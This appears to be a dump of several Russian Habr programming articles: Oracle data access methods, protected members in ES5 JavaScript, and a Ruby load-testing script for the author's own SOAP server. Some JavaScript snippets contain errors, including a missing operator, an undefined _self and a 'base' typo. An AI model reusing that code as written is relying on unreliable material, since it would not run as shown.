[9] [ООП: SOLID](https://ru.wikipedia.org/wiki/SOLID_(%D0%BE%D0%B1%D1%8A%D0%B5%D0%BA%D1%82%D0%BD%D0%BE-%D0%BE%D1%80%D0%B8%D0%B5%D0%BD%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%BD%D0%BE%D0%B5_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5))
[10] [Странно рекурсивный шаблон](https://ru.wikipedia.org/wiki/%D0%A1%D1%82%D1%80%D0%B0%D0%BD%D0%BD%D0%BE_%D1%80%D0%B5%D0%BA%D1%83%D1%80%D1%81%D0%B8%D0%B2%D0%BD%D1%8B%D0%B9_%D1%88%D0%B0%D0%B1%D0%BB%D0%BE%D0%BD)
[11] [C++17 Standard N4659](http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2017/n4659.pdf)
[12] [ThreadSanitizer](https://clang.llvm.org/docs/ThreadSanitizer.html)
[13] [Helgrind: a thread error detector](http://valgrind.org/docs/manual/hg-manual.html)
[14] [Relacy race detector](https://github.com/dvyukov/relacy)
[15] [Неблокирующая синхронизация](https://ru.wikipedia.org/wiki/%D0%9D%D0%B5%D0%B1%D0%BB%D0%BE%D0%BA%D0%B8%D1%80%D1%83%D1%8E%D1%89%D0%B0%D1%8F_%D1%81%D0%B8%D0%BD%D1%85%D1%80%D0%BE%D0%BD%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D1%8F)
[16] [J.Davis, A.Thekumparampil, D.Lee, Node.fz: fuzzing the server-side event-driven architecture. EuroSys '17 Proceedings of the Twelfth European Conference on Computer Systems, pp 145-160](https://people.cs.vt.edu/~dongyoon/papers/EUROSYS-17-NodeFz.pdf)
[17] [P.Fonseca, K.Zhang, X.Wang, A.Krishnamurthy, An empirical study on the correctness of formally verified distributed systems. EuroSys '17 Proceedings of the Twelfth European Conference on Computer Systems, pp 328-343](https://homes.cs.washington.edu/~pfonseca/papers/eurosys2017-dsbugs.pdf)
[18] [Модель акторов](https://ru.wikipedia.org/wiki/%D0%9C%D0%BE%D0%B4%D0%B5%D0%BB%D1%8C_%D0%B0%D0%BA%D1%82%D0%BE%D1%80%D0%BE%D0%B2)
[19] [Взаимодействующие последовательные процессы](https://ru.wikipedia.org/wiki/%D0%92%D0%B7%D0%B0%D0%B8%D0%BC%D0%BE%D0%B4%D0%B5%D0%B9%D1%81%D1%82%D0%B2%D1%83%D1%8E%D1%89%D0%B8%D0%B5_%D0%BF%D0%BE%D1%81%D0%BB%D0%B5%D0%B4%D0%BE%D0%B2%D0%B0%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%BF%D1%80%D0%BE%D1%86%D0%B5%D1%81%D1%81%D1%8B)
[20] [Разделяемая память](https://ru.wikipedia.org/wiki/%D0%A0%D0%B0%D0%B7%D0%B4%D0%B5%D0%BB%D1%8F%D0%B5%D0%BC%D0%B0%D1%8F_%D0%BF%D0%B0%D0%BC%D1%8F%D1%82%D1%8C)
[21] [Обмен сообщениями](https://ru.wikipedia.org/wiki/%D0%9E%D0%B1%D0%BC%D0%B5%D0%BD_%D1%81%D0%BE%D0%BE%D0%B1%D1%89%D0%B5%D0%BD%D0%B8%D1%8F%D0%BC%D0%B8) | https://habr.com/ru/post/340732/ | null | ru | null |
# Методы доступа к данным в Oracle
Не найдя на хабре статьи, объединяющей в удобном для чтения виде информацию о методах доступа к данным, используемых СУБД Oracle, я решил совершить «пробу пера» и написать эту статью.
#### Общая информация
Не углубляясь в детали, можно утверждать что Oracle хранит данные в таблицах, вместе с которыми могут существовать особые структуры данных – индексы, призванные ускорить запросы к таблицам. При выполнении запросов Oracle по-разному обращается к таблицам и индексам – способы доступа к данным в различных ситуациях и являются предметом этой статьи.
Для примеров мы будем использовать следующую таблицу и данные в ней:
```
create table t1 (t1_key number, t1_value varchar2(10));
insert into t1 values(1, '1');
insert into t1 values(2, '2');
insert into t1 values(3, '3');
insert into t1 values(4, '4');
insert into t1 values(5, '5');
insert into t1 values(6, '6');
insert into t1 values(7, '7');
insert into t1 values(8, '8');
insert into t1 values(9, '9');
```
Для анализа плана выполнения запроса будем пользоваться следующими средствами:
```
explain plan for [query goes here];
select * from table(dbms_xplan.display(null,null,'basic'));
```
После создания индекса и использования его в примерах и перед созданием следующего индекса, он должен быть удален. Это можно сделать с помощью следующего запроса:
```
drop index index_name;
```
#### TABLE FULL SCAN
Данный метод доступа, как следует из названия, подразумевает перебор всех строк таблицы с исключением тех, которые не удовлетворяют предикату where (если таковой есть). Применяется он либо в случае, когда условия предиката отсутствуют в индексе, либо когда индекса нет в принципе. Примеры:
```
select t1_key, t1_value from t1 where t1_key = 5;
----------------------------------
| Id | Operation | Name |
----------------------------------
| 0 | SELECT STATEMENT | |
| 1 | TABLE ACCESS FULL| T1 |
----------------------------------
create index key_index on t1 (t1_key);
select t1_key, t1_value from t1 where t1_value = '5';
----------------------------------
| Id | Operation | Name |
----------------------------------
| 0 | SELECT STATEMENT | |
| 1 | TABLE ACCESS FULL| T1 |
----------------------------------
```
#### TABLE ACCESS BY ROWID, он же ROWID
Этот индекс применяется в случаях, когда нам однозначно известен внутренний идентификатор интересующей нас строки таблицы (ROWID). Это происходит в двух случаях:
* Мы указали идентификатор строки в предикате where;
* ROWID запрошенной записи был найден в индексе;
Переходим к методам доступа, используемым Oracle в случае наличия индексов.
#### INDEX FULL SCAN
Данный метод доступа просматривает все листовые блоки индекса для поиска соответствий условиям предиката. Для того чтобы Oracle мог применить этот метод доступа, хотя бы одно из полей ключа должно иметь ограничение NOT NULL, т.к. только в этом случае соответствующая строка таблицы попадет в индекс. Этот метод обычно быстрее чем TABLE FULL SCAN, но медленнее, чем INDEX RANGE SCAN (см. ниже).
#### INDEX FAST FULL SCAN
Этот метод доступа применяется, когда выполнены все требования для INDEX FULL SCAN, а также все данные, выбираемые запросом, содержатся в индексе и таким образом доступ к самой таблице не требуется. В отличие от INDEX FULL SCAN этот метод может читать блоки индекса в несколько параллельных потоков и таким образом порядок возвращаемых значений не регламентирован. Oracle также не может использовать этот метод для bitmap-индексов.
#### INDEX RANGE SCAN
Данный метод доступа используется Oracle в том случае, если в предикат where входят столбцы индекса с условиями = (в случае если индексированные значения неуникальны), >, <, а также like ‘pattern%’, причем wildcard-символы должны стоять после искомой подстроки. В отличие от TABLE FULL SCAN, при использовании этого метода доступа Oracle не перебирает все листовые блоки и поэтому в большинстве случаев INDEX RANGE SCAN быстрее.
Пример:
```
select * from t1 where t1_key = 3;
-------------------------------------------------
| Id | Operation | Name |
-------------------------------------------------
| 0 | SELECT STATEMENT | |
| 1 | TABLE ACCESS BY INDEX ROWID| T1 |
| 2 | INDEX RANGE SCAN | KEY_INDEX |
-------------------------------------------------
```
#### INDEX UNIQUE SCAN
Данный метод доступа применяется когда в силу ограничений UNIQUE/PRIMARY KEY, а также условия предиката, запрос должен вернуть ноль или одно значение.
Пример:
```
create unique index u_key_index on t1 (t1_key);
---------------------------------------------------
| Id | Operation | Name |
---------------------------------------------------
| 0 | SELECT STATEMENT | |
| 1 | TABLE ACCESS BY INDEX ROWID| T1 |
| 2 | INDEX UNIQUE SCAN | U_KEY_INDEX |
---------------------------------------------------
```
#### INDEX SKIP SCAN
Этот метод доступа используется в случае, если в предикате where не используется первый столбец индекса.
Для примера использования этого метода доступа нам потребуется другая таблица (обратите внимание, что количество строк, данные и т.д. будут зависеть от того, что есть в используемой схеме, и поэтому данный пример может не воспроизвестись сразу):
```
create table t2 as (select * from all_objects);
--столбец data_object_id должен иметь селективность значительно ниже, чем object_id
create index test_index on t2 (data_object_id, object_id);
--пересоберем статистику для таблицы
begin
dbms_stats.gather_table_stats(user, 'T2', cascade=>true);
end;
--И наконец запрос
select * from t2 where object_id=370; --не забудьте сменить object_id
--------------------------------------------------
| Id | Operation | Name |
--------------------------------------------------
| 0 | SELECT STATEMENT | |
| 1 | TABLE ACCESS BY INDEX ROWID| T2 |
| 2 | INDEX SKIP SCAN | TEST_INDEX |
--------------------------------------------------
```
**#### DISCLAIMER**
Утверждения о том, что при определенных условиях cost-based-optimizer (CBO) выберет тот или иной метод доступа, могут быть не совсем справедливыми в отдельных случаях, так как логика определения оптимального метода оптимизатором очень сложна. | https://habr.com/ru/post/189574/ | null | ru | null |
# Protected методы в JavaScript ES5
Про объектную модель в JavaScript написано много замечательных статей. Да и про различные способы создания приватных членов класса в интернете полно достойных описаний. А вот про protected методы — данных очень немного. Я бы хотел восполнить этот пробел и рассказать, как можно создать protected методы без библиотек на чистом JavaScript ECMAScript 5.
В этой статье:
* [Зачем нужны защищенные члены класса](#what-for)
* [Что нужно для понимания представленного метода](#prerequisite)
* [Вспомогательный класс ProtectedError](#additional-class)
* [Реализация protected членов (методов и свойств) для классов объявленных как функция (ECMAScript 5)](#es5)
[Ссылка на git-hub репозиторий с исходный кодом и тестами.](https://github.com/Basim108/js-oop-protected)
Зачем нужны защищенные члены класса
-----------------------------------
Если коротко, то
* проще понимать работу класса и находить в нем ошибки. (Сразу видно в каких case'ах используются члены класса. Если приватные — то анализировать надо только данный класс, ну, а если защищенные — то только данный и производные классы.)
* легче управлять изменениями. (Например, можно убирать приватные члены, не опасаясь, что сломается что-то вовне редактируемого класса.)
* уменьшается количество заявок в bug-трекере, т.к. пользователи библиотеки или контрола могут «зашиться» на наши «приватные» члены, которые в новой версии класса мы решили убрать, либо изменить логику их работы.
* И в целом, защищенные члены класса — это инструмент проектирования. Хорошо иметь его под рукой отлаженным и хорошо протестированным.
Напомню, что основная идея protected членов заключается в том, чтобы скрыть методы и свойства от пользователей экземпляра класса, но при этом позволить производным классам иметь к ним доступ.
Использование TypeScript'a не позволит вызывать защищенные методы, однако, после компиляции в JavaScript, все приватные и защищенные члены становятся публичными. Например, мы разрабатываем контрол или библиотеку, которые пользователи будут устанавливать на свои сайты или приложения. Эти пользователи смогут делать с защищенными членами все, что хотят, нарушая целостность класса. В итоге, наш баг-трекер ломится от жалоб, что наша библиотека или контрол работают неправильно. Мы тратим время и силы на то, чтобы разобраться — *«это каким-таким образом объект оказался в том состоянии у клиента, что привело к ошибке?!»*. Поэтому, чтобы облегчить всем жизнь, нужна такая защита, которая не будет давать возможность изменять значение приватных и защищенных членов класса.
Что нужно для понимания рассматриваемого метода
-----------------------------------------------
Для понимания метода объявления protected членов класса необходимо уверенное знание:
* устройства классов и объектов в JavaScript.
* способов создания приватных членов класса (как минимум через замыкание).
* методов Object.defineProperty и Object.getOwnPropertyDescriptor
Про устройство объектной модели в JavaScript могу порекомендовать, например, прекрасную статью Андрея Акиньшина([DreamWalker](https://habr.com/users/dreamwalker/)) [«Понимание ООП в JS [часть №1]»](https://habr.com/company/enterra/blog/153365/).
Про приватные свойства есть хорошее и, на мой взгляд, достаточно полное описание [аж 4-х различных способов создания приватных членов класса](https://developer.mozilla.org/en-US/docs/Archive/Add-ons/Add-on_SDK/Guides/Contributor_s_Guide/Private_Properties) на сайте MDN.
Что касается метода Object.defineProperty, он позволит нам скрыть свойства и методы из for-in циклов, и, как следствие, от алгоритмов сериализации:
```
function MyClass(){
Object.defineProperty(MyClass.prototype, 'protectedNumber', {
value: 12,
enumerable: false
});
this.publicNumber = 25;
};
var obj1 = new MyClass();
for(var prop in obj1){
console.log('property:' prop); //prop никогда не будет равен 'protectedNumber'
}
console.log(JSON.stringify(obj1)); // Выведет { 'publicNumber': 25 }
```
Подобное сокрытие необходимо выполнять, но этого, конечно же, не достаточно т.к. еще остается возможность вызвать метод/свойство напрямую:
```
console.log(obj1.protectedNumber); // Выведет 12.
```
Вспомогательный класс ProtectedError
------------------------------------
Для начала нам потребуется класс ProtectedError, который наследуется от Error, и который будет выбрасываться, если нет доступа к защищенному методу или свойству.
```
function ProtectedError(){
this.message = "Encapsulation error, the object member you are trying to address is protected.";
}
ProtectedError.prototype = new Error();
ProtectedError.prototype.constructor = ProtectedError;
```
Реализация protected членов класса в ES5
----------------------------------------
Теперь, когда у нас есть класс ProtectedError и мы понимаем что делает Object.defineProperty со значением enumerable: false, давайте разберем создание базового класса, который хочет разделить метод protectedMethod со всеми своими производными классами, но спрятать от всех остальных:
```
function BaseClass(){
if (!(this instanceof BaseClass))
return new BaseClass();
var _self = this; // Замыкаем экземпляр класса, чтобы в будущем не зависеть от контекста
/** @summary Проверяет доступ к защищенным членам класса */
function checkAccess() {
if (!(this instanceof BaseClass))
throw new ProtectedError();
if (this.constructor === BaseClass)
throw new ProtectedError()
}
Object.defineProperty(_self, 'protectedMethod', {
enumerable: false, // скроим метод из for-in циклов
configurable:false, // запретим переопределять это свойство
value: function(){
// Раз мы здесь, значит, нас вызвали либо как публичный метод на экземпляре класса Base, либо из производных классов
checkAccess.call(this); // Проверяем доступ.
protectedMethod();
}
});
function protectedMethod(){
// Если нужно обратиться к членам данного класса,
// то обращаемся к ним не через this, а через _self
return 'example value';
}
this.method = function (){
protectedMethod(); // правильный способ вызова защищенного метода из других методов класса BaseClass
//this.protectedMethod(); // Неправильный способ вызова, т.к. он приведет к выбросу исключения ProtectedError
}
}
```
### Описание конструктора класса BaseClass
Возможно вас смутит проверка:
```
if (!(this instanceof BaseClass))
return new BaseClass();
```
Эта проверка «на любителя». Можете ее убрать, к protected методам она не имеет отношения. Однако, лично я в своем коде ее оставляю, т.к. она нужна для тех случаев, когда экземпляр класса создается некорректно, т.е. без ключевого слова new. Например, вот таким образом:
```
var obj1 = BaseClass();
// или так:
var obj2 = BaseClass.call({});
```
В таких случаях поступайте, как хотите. Можете, например, сгенерировать ошибку:
```
if (!(this instanceof BaseClass))
throw new Error('Wrong instance creation. Maybe operator "new" was forgotten');
```
А можете просто создать экземпляр корректно, как это сделано в BaseClass.
Далее мы сохраняем новый экземпляр в переменную \_self (зачем это нужно поясню чуть позже).
### Описание публичного свойства с именем protectedMethod
Входя в метод, вызываем проверку контекста на котором нас вызвали. Лучше проверку вынести в отдельный метод, например, checkAccess, т.к. одна и та же проверка понадобится во всех защищенных методах и свойствах классах. Так вот, первым делом проверяем тип контекста вызова «this». Если this имеет тип отличный от BaseClass, значит, тип — ни сам BaseClass, и ни один из его производных. Запрещаем подобные вызовы.
```
if(!(this instanceof BaseClass))
throw new ProtectedError();
```
Каким образом такое может произойти? Например, так:
```
var b = new BaseClass();
var someObject = {};
b.protectedMethod.call(someObject); // В этом случае, внутри protectedMethod this будет равен someObject и мы это отловим, т.к. someObject instanceof BaseClass будет ложным
```
В случае производных классов выражение this instanceof BaseClass будет истинным. Но и для экземпляров BaseClass выражение this instanceof BaseClass будет истинным. Поэтому, чтобы отличить экземпляры класса BaseClass от экземпляров производных классов проверяем конструктор. Если конструктор совпадает с BaseClass, значит, наш protectedMethod вызывают на экземпляре BaseClass, как обычный публичный метод:
```
var b = new BaseClass();
b.protectedMethod();
```
Запрещаем подобные вызовы:
```
if(this.constructor === BaseClass)
throw new ProtectedError();
```
Далее идет вызов замкнутого метода protectedMethod, который, собственно, и является защищаемым нами методом. Внутри метода, если возникает потребность обратиться к членам класса BaseClass, можно это сделать, используя сохраненный экземпляр \_self. Именно для этого \_self и был создан, чтобы иметь доступ к членам класса из всех замкнутых/приватных, методов. Поэтому, если в вашем защищенном методе или свойстве не нужно обращаться к членам класса, то можете не создавать переменную \_self.
### Вызов защищенного метода внутри класса BaseClass
Внутри класса BaseClass к protectedMethod надо обращаться только по имени, а не через this. Иначе, внутри protectedMethod мы не сможем отличить, вызвали ли нас как публичный метод или изнутри класса. В данном случае замыкание нас спасает — protectedMethod ведет себя как обычный приватный метод, замкнутый внутри класса и видимый только внутри области видимости функции BaseClass.
### Описание производного класса DerivedClass
Теперь давайте рассмотрим производный класс и как сделать в нем доступ к защищенному методу базового класса.
```
function DerivedClass(){
var _base = {
protectedMethod: this.protectedMethod.bind(this)
};
/** @summary Проверяет доступ к защищенным членам класса */
function checkAccess() {
if (this.constructor === DerivedClass)
throw new ProtectedError();
}
// Переопределим метод для всех
Object.defineProperty(this, 'protectedMethod', {
enumerable: false, // т.к. мы создаем свойство на конкретном экземпляре this
configurable: false,// то нужно опять запретить переопределение и показ в for-in циклах
// Теперь можем объявлять анонимный метод
value: function(){
checkAccess.call(_self);
return _base.protectedMethod();
}
});
// Использование защищенного метода базового класса в производном
this.someMethod = function(){
console.log(_base.protectedMethod());
}
}
DerivedClass.prototype = new BaseClass();
Object.defineProperty(DerivedClass.prototype, 'constructor', {
value : DerivedClass,
configurable: false
});
```
### Описание конструктора производного класса
В производном классе мы создаем объект \_base, в котором размещаем ссылку на метод protectedMethod базового класса, замкнутую на контекст производного класса через стандартный метод bind. Это значит, что вызов \_base.protectedMethod(); внутри protectedMethod this будет не объектом \_base, а экземпляром класса DerivedClass.
### Описание метода protectedMethod внутри класса DerivedClass
В классе DerivedClass обязательно нужно объявить публичный метод protectedMethod таким же образом, как мы делали в базовом классе через Object.defineProperty и проверить в нем доступ, вызывая метод checkAccess или совершая проверку прямо в методе:
```
Object.defineProperty(DerivedClass.prototype, 'protectedMethod', {
enumerable: false,
configurable: false,
value: function(){
if(this.constructor === DerivedClass)
throw new ProtectedError()
return _base.protectedMethod();
}
});
```
Проверяем — *«а не вызвали ли нас как простой публичный метод?»* У экземпляров класса DerivedClass конструктор будет равен DerivedClass. Если это так, то генерируем ошибку. Иначе — отправляем в базовый класс и уже он сделает все остальные проверки.
Итак, в производном классе у нас две функции. Одна объявлена через Object.defineProperty и нужна для классов производных от DerivedClass. Она публичная и потому в ней есть проверка, запрещающая публичные вызовы. Второй метод находится в объекте \_base, который замкнут внутри класса DerivedClass и потому не виден никому извне и именно он используется для доступа к защищенному методу из всех методов DerivedClass.
### Защита свойств
Со свойствами работа происходит чуть по другому. Свойства в BaseClass определяются как обычно через Object.defineProperty, только в геттерах и сеттерах нужно вначале добавить нашу проверку т.е. вызвать checkAccess:
```
function BaseClass(){
function checkAccess(){ ... }
var _protectedProperty;
Object.defineProperty(this, 'protectedProperty', {
get: function () {
checkAccess.call(this);
return _protectedProperty;
},
set: function (value) {
checkAccess.call(this);
_protectedProperty = value;
},
enumerable: false,
configurable: false
});
}
```
Внутри класса BaseClass к защищенному свойству обращаемся не через this, а к замкнутой переменной \_protectedProperty. В случае, если нам важно, чтобы отрабатывал геттер и сеттер при использовании свойства внутри класса BaseClass, тогда нужно создать приватные методы getProtectedPropety и setProtectedProperty, внутри которых не будет проверок, и их уже вызывать.
```
function BaseClass(){
function checkAccess(){ ... }
var _protectedProperty;
Object.defineProperty(this, 'protectedProperty', {
get: function () {
checkAccess.call(this);
return getProtectedProperty();
},
set: function (value) {
checkAccess.call(this);
setProtectedProperty(value);
},
enumerable: false,
configurable: false
});
function getProtectedProperty(){
// Делаем полезную работу
return _protectedProperty;
}
function setProtectedProperty(value){
// Делаем полезную работу
_protectedProperty = value;
}
}
```
В производных классах работа со свойствами чуть посложнее, т.к. нельзя свойству подменить контекст. Поэтому, мы воспользуемся стандартным методом Object.getOwnPropertyDescriptor, чтобы из свойства базового класса получить геттер и сеттер как функции, которым уже можно поменять контекст вызова:
```
function DerivedClass(){
function checkAccess(){ ... }
var _base = {
protectedMethod: _self.protectedMethod.bind(_self),
};
var _baseProtectedPropertyDescriptor = Object.getOwnPropertyDescriptor(_self, 'protectedProperty');
// объявляем защищенное свойство на объекте _base
// чтобы внутри класса DerivedClass обращаться к защищенному свойству
Object.defineProperty(_base, 'protectedProperty', {
get: function() {
return _baseProtectedPropertyDescriptor.get.call(_self);
},
set: function(value){
_baseProtectedPropertyDescriptor.set.call(_self, value);
}
})
// Здесь же мы объявляем свойство публичным, чтобы у классов производных от DerivedClass была возможность добраться до защищенного метода.
Object.defineProperty(_self, 'protectedProperty', {
get: function () {
checkAccess.call(_self);
return base.protectedProperty;
},
set: function (value) {
checkAccess.call(_self);
_base.protectedProperty = value;
},
enumerable: false,
configurable: false
});
}
```
### Описание наследования
И последнее, что хотелось бы прокомментировать — наследование DerivedClass от BaseClass. Как вы возможно знаете, DerivedClass.prototype = new BaseClass(); не только создает прототип, но и переписывает его свойство constructor. Из-за чего у каждого экземпляра DerivedClass свойство constructor становится равным BaseClass. Чтобы исправить это, обычно, после создания прототипа, переписывают свойство constructor:
```
DerivedClass.prototype = new BaseClass();
DerivedClass.prototype.constructor = DerivedClass;
```
Однако, чтобы никто не переписал это свойство после нас, используем все тот же Object.defineProperty. Свойство configurable: false запрещает переопределять свойство повторно:
```
DerivedClass.prototype = new BaseClass();
Object.defineProperty(DerivedClass.prototype, 'constructor', {
value : DerivedClass,
configurable: false
});
``` | https://habr.com/ru/post/425521/ | null | ru | null |
# KISS + Ruby = нагрузим сервер по быстрому
Опишу я тут историю как на коленках сделал «нагрузочное» тестирование сервиса, и некоторые соображения по поводу Ruby;)
Жила-была себе одна большая система, жила уже не первый год, не первый релиз.
Система представляет из себя центральные сервера, через которые бегает информация и набор desktop приложений которые эту информацию и порождают/потребляют, так сказать gateways и destination.
Однажды с сервером случилась беда, для локализации дефекта нужно было нагрузить сервер — имитировать работу БОЛЬШОГО кол-ва одновременных активных клиентов.
Клиенты общаются с серверами посредством «Windows Communication Foundation» aka WCF.
Как в любой серьезной системе с клиентами, в наличии был эмулятор, который через GUI давал возможность дергать все методы и смотреть ответы.
В эмуляторе даже был специальный режим который умел прикидываться живыми клиентами, как настоящими (дергать нужные методы в нужном порядке), даже умел делать это многопоточно.
Собственно это затянувшееся вступление, перейдем к деталям.
Надо было сделать нагрузку в 6000 работающих клиентов.
Каждый из них проявляет активность раз в 10 секунд.
у каждого свой логин/пароль.
Один эмулятор оказался в состоянии запустить 250 потоков/клиентов Итого для запуска нужно было 24 копии эмулятора, на куче машин (в зависимости от мощности от 1 до 4 штук на машину).
Однако сказали мужуки, но надо значит надо, запустили, и первый этап на этом закрыли, подтвердили теорию и отложили за редкостью ситуации.
Потом через время опять возникла необходимость в нагрузке, а человек который это все пускал — отсутствовал, привлекли меня, но т.к. был вечер пятницы и т.д., решили отложить до понедельника.
Собственно я не девелопер — я тестировщик/QA, но с разными странными бэкграундами.
Решил я дома посмотреть, а можно ли упростить это дело, можно ли создать нагрузку «более другими» методами.
Взял эмулятор, взял Fiddler2 (Fiddler is a Web Debugging Proxy which logs all HTTP (S) traffic between your computer and the Internet), и посмотрел что делается.
Увидел я там XML который бегает в обе стороны, и волшебные слово SOAP.
О, сказал я, хороший повод наконец с ним познакомиться поближе.
Заодно и проверить, можно ли такие вещи делать на Ruby.
Почему Ruby?
ну во первых потому что красиво, это раз,
во вторых Ruby + WATIR после этой связки я и увлекся руби (думаю отдельно про это написать)
в третьих — мультиплатфоменность, это для меня было важным фактором т.к. дома, где и проходила первая фаза исследований — OS X (Hackintosh), на работе Windows, ну и Linux нам тоже пригодился в реальной жизни.
Поискал библиотеку подходящую, нашлись soap4r, Savon, выбрал последнюю, т.к. показалась полегче. Поставил, начались игры.
На удивление быстро получился первый работающий код, задача была получить запрос выглядящий как запрос родного эмулятора.
> `1. **def** data\_available**(**client,id,password**)**
> 2. \_xml=**%**Q**|<**?xml version="1.0" encoding="utf-8"?**>**
> 3. **<**soap:Envelope
> 4. xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
> 5. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
> 6. xmlns:xsd="http://www.w3.org/2001/XMLSchema"**>**
> 7. **<**soap:Body**>**
> 8. **<**DataAvailable xmlns="Company.ESD"**>**
> 9. **<**ID**>***#{id}*
> 10. **<**Password**>***#{password}*
> 11. DataAvailable**>**
> 12. soap:Body**>**
> 13. soap:Envelope**>**
> 14. **|**
> 15. \_xml.**gsub!****(****/**\r**|**\n**/**,""**)**
> 16.
> 17. response = client.request "Company.ESD/Data/DataAvailable","xmlns" **=>** "Company.ESD" **do**
> 18. soap.xml=\_xml
> 19. **end**
> 20. response
> 21. **end**
> 22.
> 23. **def** do\_test**(**id,pwd**)**
> 24. client = **Savon::Client**.new **do**
> 25. wsdl.endpoint = "https://superserver.super.com/DDService/Data.svc"
> 26. wsdl.namespace = "https://superserver.super.com"
> 27. http.read\_timeout = 90
> 28. http.open\_timeout = 90
> 29. **end**
> 30.
> 31. r=data\_available**(**client,id,pwd**)**.to\_hash
> 32. **end**`
т.е. есть один клиент, ну что, пора сделать МНОГО клиентов открываем документацию находим пример, применяем
run\_client — код одного «клиента»
> `1. **def** run\_test**(**clnt\_id**)**
> 2. pwd=get\_pwd**(**clnt\_id**)**
> 3. id=get\_id**(**clnt\_id**)**
> 4. **while** **true**
> 5. do\_test**(**id,pwd**)**
> 6. **sleep** 9
> 7. **end**
> 8. **end**
> 9.
> 10. clients=**Array**.new
> 11. 1.upto**(**10**)** **do** **|**client\_id**|**
> 12. client **<<** **Thread**.new **do**
> 13. **puts** "Start: #{client\_id}"
> 14. run\_client**(**t\_cnt**)**
> 15. **end**
> 16. **end**
> 17. clients.map **{****|**t**|** t.join**}**`
запустили — УРА, работает.
попробуем 1000, опс, на экране запуск ~130 потоков и тормоза;(
похоже Ruby не очень хочет пускать много потоков,
ну в общем то не вопрос, нам важен результат.
пустим в одном файле 100 штук, а файлов таких будет 10, вот и имеем 1000 клиентов.
пробуем — ура работает!!!, но проц грузим мягко скажем не подески, начинаем думать что делать, нам то надо еще больше!
тут вспоминаем что клиент проявляет активность раз в 10 секунд
т.е. мы можем пустить один поток который спокойно может обработать 10 последовательных клиентов, на каждого по секунде, в результати и получим активность каждого клиента раз в 10 секунд.
ура, удалось уменьшить кол-во потоков в 10 раз, уже радует, т.е. на 1000 клиентов надо всего 100 потоков, а это уже реально…
получили такой запускатель
> `1. **def** do\_for\_time**(**time\_in\_sec,**&**block**)**
> 2. time\_end=**Time**.now**+**time\_in\_sec**-**0.01
> 3. **yield**
> 4. time\_rest=time\_end**-****Time**.now
> 5. **sleep** time\_rest **if** time\_rest**>**=0.1
> 6. **end**
> 7.
> 8. **def** run\_10**(**start\_id**)**
> 9. clinets=**Array**.new
> 10. 1.upto**(**10**)** **do** **|**nn**|**
> 11. id=get\_id**[**start\_id**+**nn**]**
> 12. pwd=get\_pwd**[**start\_id**+**nn**]**
> 13. clinets **<<** **[**id,pwd**]**
> 14. **end**
> 15.
> 16. clnt = HTTPClient.new
> 17. **while** **true** **do**
> 18. clinets.each **do** **|**client**|**
> 19. id=client**[**0**]**
> 20. pwd=client**[**1**]**
> 21. do\_for\_time**(**1**)** **do**
> 22. data\_available**(**clnt,id,pwd**)**
> 23. update\_status**(**clnt,id,pwd**)**
> 24. **end**
> 25. **end**
> 26. **end**
> 27. **end**`
Кстати, забавная функция do\_for\_time (эх, люблю я блоки в руби!)
мы ее вызываем с параметром сколько секунд она должна выполняться, и передаем ей блок который надо выполнить, и она вместе с выполнением блока будет работать столько секунд сколько просят (считаем что вызов функций блоке много меньше чем время ожидания)
, но проц все еще грузим, надо с этим что-то делать.
Посмотрел я еще раз на оригинальные запросы и понял, так зачем нам нужен SOAP?
это же в конце концов не более чем POST запрос c зараннее известным XML!
сказано — сделано, переписали наши функции, выкинули SOAP, получили
> `1. **def** check\_data**(**http\_client,id,pwd**)**
> 2. uri='https://superserver.super.com/DDService/Data.svc'
> 3. soap=**%**Q**|<**?xml version="1.0" encoding="utf-8"?**><**soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"**><**soap:Body**><**DataAvailable xmlns="company.ESD"**><**ID**>***#{id}#{pwd}*
> 4. **|**
> 5. headers = **{**
> 6. 'Content-Type' **=>** 'text/xml;charset=UTF-8',
> 7. 'SOAPAction' **=>** 'company.EDC/IData/ ',
> 8. **}**
> 9.
> 10. http\_client.post uri, soap, headers
> 11. **end**`
ожидаемо новая версия кушала МНОГО меньше проца, т.к. не занималась не нужными глупостями.
3000 клиентов живут достаточно легко…
тут домашние игры я прекратил, т.к. уперся в несеметричный канал ADSL, да и отдыхать то надо;)
в понедельник продолжил на работе, на быстром канале.
, а тут начинаются чудеса, грустные
виндовый Ruby 1.8.7 жрет 100% 2х ядерного cpu при 1000 клиентов, опаньки…
для проверки в виртуалке (на этой же машине) ставлю ubuntu, даю ей два ядра, и пускаю тоже самое, и…
в общем чудеса, в ВИРТУАЛКЕ под линухом имеем 5000 клиентов.
далнейие эксперементы:
ставми jruby, у него по описанию правильные треды, пускаем 1000 — 20% загрузки — УРА
пускаем второй файл с 1000 и опаньки, загрузка 2х ядер 80%, терпимо, но не очень понятно;(
в итоге, 2000 на машине подошли для нашей задачи (надо было пускать на удаленной тачке, виртуалку там поставить было нельзя)
Задачу решили, сервер нагрузили.
Поигрался с SOAP, забавно, не очень сложно.
Времени потратил, сумарно часов 8.
выводы:
1. «Keep it simple, Stupid!» — в нашем случае упрощение помогло решить задачу, уход от сложного SOAP к просто http requests спасло положение.
2. RUBY можно использовать для таких задач, мне не пришлось воевать с языком, он просто позволил мне сделать то что я хотел;) (почти не создавая проблем)
3. использование scripting language — сильно ускоряет время разбора с проблеммой, т.к. дает легко эксперементировать, это быстро и просто.
4. мультиплатформенность — рулит
5. теперь можно при необходимости переписать это все на C#, может и на одной машине будет много клиентов, но оно пока не надо, задача получилась разовая.
6. i love ruby!
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_
###### Текст подготовлен в [Редакторе Блогов](http://www.softcoder.ru/blogeditor/) от © SoftCoder.ru | https://habr.com/ru/post/113420/ | null | ru | null |
# Google Maps API: схема проезда, анимация и стилизация
